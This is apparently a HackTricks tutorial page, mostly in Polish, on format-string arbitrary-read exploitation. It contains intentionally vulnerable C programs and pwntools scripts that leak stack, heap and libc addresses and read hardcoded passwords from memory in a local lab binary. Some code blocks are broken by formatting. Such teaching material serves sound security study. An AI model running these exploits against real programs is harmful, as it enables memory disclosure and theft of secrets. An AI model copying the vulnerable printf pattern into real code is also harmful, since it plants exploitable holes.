Format Strings - Arbitrary Read Example

Tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Read Binary Start

Code

#include <stdio.h>

int main(void) {
char buffer[30];

fgets(buffer, sizeof(buffer), stdin);

printf(buffer);
return 0;
}

Skompiluj to za pomocą:

clang -o fs-read fs-read.c -Wno-format-security -no-pie

Exploit

from pwn import *

p = process('./fs-read')

payload = f"%11$s|||||".encode()
payload += p64(0x00400000)

p.sendline(payload)
log.info(p.clean())
  • The offset is 11 — ustawienie kilku znaków ‘A’ i wykonanie brute-forcing pętlą iterującą offsety od 0 do 50 wykazało, że przy offset 11 i z 5 dodatkowymi znakami (pipes | w naszym przypadku) można kontrolować cały adres.
  • Użyłem %11$p z paddingiem, aż adres był w całości 0x4141414141414141
  • The format string payload is BEFORE the address ponieważ printf stops reading at a null byte, więc jeśli wyślemy adres, a potem format string, printf nigdy nie dotrze do format string, ponieważ wcześniej napotka null byte
  • Wybrany adres to 0x00400000, ponieważ tam zaczyna się plik binarny (no PIE)

Odczytaj hasła

Wrażliwy plik binarny z hasłami na stacku i w BSS ```c #include #include

char bss_password[20] = “hardcodedPassBSS”; // Password in BSS

int main() { char stack_password[20] = “secretStackPass”; // Password in stack char input1[20], input2[20];

printf(“Enter first password: “); scanf(”%19s“, input1);

printf(“Enter second password: “); scanf(”%19s“, input2);

// Vulnerable printf printf(input1); printf(“\n”);

// Check both passwords if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) { printf(“Access Granted.\n”); } else { printf(“Access Denied.\n”); }

return 0; }

</details>

Skompiluj to za pomocą:
```bash
clang -o fs-read fs-read.c -Wno-format-security

Odczyt ze stosu

Zmienna stack_password będzie przechowywana na stosie, ponieważ jest zmienną lokalną, więc wystarczy wykorzystać printf, aby pokazać zawartość stosu. To jest exploit, który BF pierwsze 100 pozycji, aby leakować passwords ze stosu:

from pwn import *

for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()

Na obrazku widać, że możemy leak the password ze stosu na pozycji 10th:

Odczyt danych

Uruchamiając ten sam exploit, ale używając %p zamiast %s, można leak a heap address ze stosu pod %25$p. Dodatkowo, porównując leaked address (0xaaaab7030894) z pozycją hasła w pamięci tego procesu, możemy uzyskać różnicę adresów:

Teraz pora znaleźć sposób na kontrolowanie jednego adresu na stosie, aby uzyskać do niego dostęp z drugiej format string vulnerability:

Znajdź kontrolowalny adres na stosie ```python from pwn import *

def leak_heap(p): p.sendlineafter(b“first password:“, b”%5$p“) p.recvline() response = p.recvline().strip()[2:] #Remove new line and “0x” prefix return int(response, 16)

for i in range(30): p = process(“./fs-read”)

heap_leak_addr = leak_heap(p) print(f“Leaked heap: {hex(heap_leak_addr)}“)

password_addr = heap_leak_addr - 0x126a

print(f“Try: {i}“) payload = f”%{i}$p|||“.encode() payload += b“AAAAAAAA”

p.sendline(payload) output = p.clean() print(output.decode(“utf-8”)) p.close()

</details>

Widać też, że w **try 14**, przy użytym passing, możemy kontrolować adres:

<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>

### Exploit

<details>
<summary>Leak heap then read password</summary>
```python
from pwn import *

p = process("./fs-read")

def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)

heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")

# Offset calculated from the leaked position to the possition of the pass in memory
password_addr = heap_leak_addr + 0x1f7bc

print(f"Calculated address is: {hex(password_addr)}")

# At offset 14 we can control the addres, so use %s to read the string from that address
payload = f"%14$s|||".encode()
payload += p64(password_addr)

p.sendline(payload)
output = p.clean()
print(output)
p.close()

Automating the offset discovery

Gdy układ stosu zmienia się przy każdym uruchomieniu (full ASLR/PIE), bruteforcing offsetów ręcznie jest powolny. pwntools udostępnia FmtStr, aby automatycznie wykryć indeks argumentu, który sięga naszego kontrolowanego bufora. Lambda powinna zwracać wyjście programu po wysłaniu proponowanego payloadu. Kończy działanie, gdy tylko może wiarygodnie uszkodzić/obserwować pamięć.

from pwn import *

context.binary = elf = ELF('./fs-read', checksec=False)

# helper that sends payload and returns the first line printed
io = process()
def exec_fmt(payload):
io.sendline(payload)
return io.recvuntil(b'\n', drop=False)

fmt = FmtStr(exec_fmt=exec_fmt)
offset = fmt.offset
log.success(f"Discovered offset: {offset}")

Możesz wtedy ponownie użyć offset, aby zbudować arbitrary read/write payloads za pomocą fmtstr_payload, unikając ręcznego %p fuzzing.

PIE/libc leak, następnie arbitrary read

W nowoczesnych binariach z PIE i ASLR najpierw leak dowolny libc pointer (np. __libc_start_main+243 lub setvbuf), oblicz bazy, a następnie umieść docelowy adres po format string. Dzięki temu %s nie zostanie obcięty przez null bytes wewnątrz pointera.

Leak libc i read arbitrary address ```python from pwn import *

elf = context.binary = ELF(‘./fs-read’, checksec=False) libc = ELF(‘/lib/x86_64-linux-gnu/libc.so.6’)

io = process()

leak libc address from stack (offset 25 from previous fuzz)

io.sendline(b“%25$p“) io.recvline() leak = int(io.recvline().strip(), 16) libc.address = leak - libc.symbols[‘__libc_start_main’] - 243 log.info(f“libc @ {hex(libc.address)}“)

secret = libc.address + 0x1f7bc # adjust to your target

payload = f“%14$s|||“.encode() payload += p64(secret)

io.sendline(payload) print(io.recvuntil(b“|||“)) # prints string at calculated address

</details>

## Źródła

- [NVISO - Format string exploitation](https://blog.nviso.eu/2024/05/23/format-string-exploitation-a-hands-on-exploration-for-linux/)
- [Format string exploitation notes](https://hackmd.io/%40e20gJPRhRbKrBY5xcGKngA/SyM_Wcg_A)

> [!TIP]
> Ucz się i ćwicz Hacking AWS:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Ucz się i ćwicz Hacking GCP: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Ucz się i ćwicz Hacking Azure: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Wsparcie dla HackTricks</summary>
>
> - Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
> - **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
>
> </details>